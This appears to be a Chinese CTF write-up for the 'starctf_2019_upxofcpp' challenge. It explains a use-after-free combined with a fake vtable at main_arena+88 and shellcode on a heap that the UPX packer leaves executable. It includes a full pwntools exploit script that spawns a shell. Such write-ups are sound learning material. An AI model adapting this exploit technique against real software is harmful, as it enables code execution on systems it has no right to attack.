starctf_2019_upxofcpp
程序用了UPX壳保护,通过upx –d脱壳后,拿到IDA里分析。
Delete以后没有清空指针,存在UAF,但是无法double free,因为程序中使用虚表调用,delete一次后,虚表对应位置已经被清空。因此第二次delete同一个chunk将进入else语句,进而崩溃。由于函数指针放在chunk里,因此,我们可以伪虚表指针,再利用UAF来执行。由于使用的是upx加壳,脱壳后,显示NX保护是关闭的,但是宿主是upx的壳,upx壳程序通过mmap映射出RWX的内存放置受保护的程序,因此,在这里堆栈是可执行的,也可以通过gdb调试查看。因此,我们在堆里布置下shellcode。
我们先申请两个堆释放
add(2,0x20/4,[-1])
add(3,0x20/4,[-1])
delete(2)
delete(3)
接下来我们触发malloc_cosolidate
add(4,0x100,[-1])
此时,2的fd伪造写上了main_arena 88的地址
因此,main_arena_88被当成一个虚表
Main_arena_88+0x10处指向2的头
Show功能取得正是vtable+0x10处的函数指针来执行
因此, Main_arena_88+0x10处的数据被当成一个函数指针,因此,我们只要利用堆的共用,在2的prev_size处布置一条jmp $xxxx的指令,然后通过show(2)就可以执行这个jmp,跳到主shellcode里。
#coding:utf8
from pwn import *
context(os='linux',arch='amd64')
sh = process('./starctf_2019_upxofcpp')
#sh = process('./upxofcpp')
#sh = remote('node3.buuoj.cn',28611)
def add(index,size,data):
sh.sendlineafter('Your choice:','1')
sh.sendlineafter('Index:',str(index))
sh.sendlineafter('Size:',str(size))
for x in data:
if (x & 0x80000000 == 0x80000000) and x != -1:
x -= 0x100000000
sh.sendline(str(x))
def delete(index):
sh.sendlineafter('Your choice:','2')
sh.sendlineafter('index:',str(index))
def show(index):
sh.sendlineafter('Your choice:','4')
sh.sendlineafter('index:',str(index))
shellcode = asm(shellcraft.sh())
data = []
for x in range(0,len(shellcode),4):
data.append(u32(shellcode[x:x+4]))
add(0,len(data),data)
add(1,0x18/4,[0,1,2,3,u32(asm('jmp $-0x70').ljust(4,'\x00')),-1])
add(2,0x20/4,[-1])
add(3,0x20/4,[-1])
delete(2)
delete(3)
add(4,0x100,[-1])
#getshell
show(2)
sh.interactive()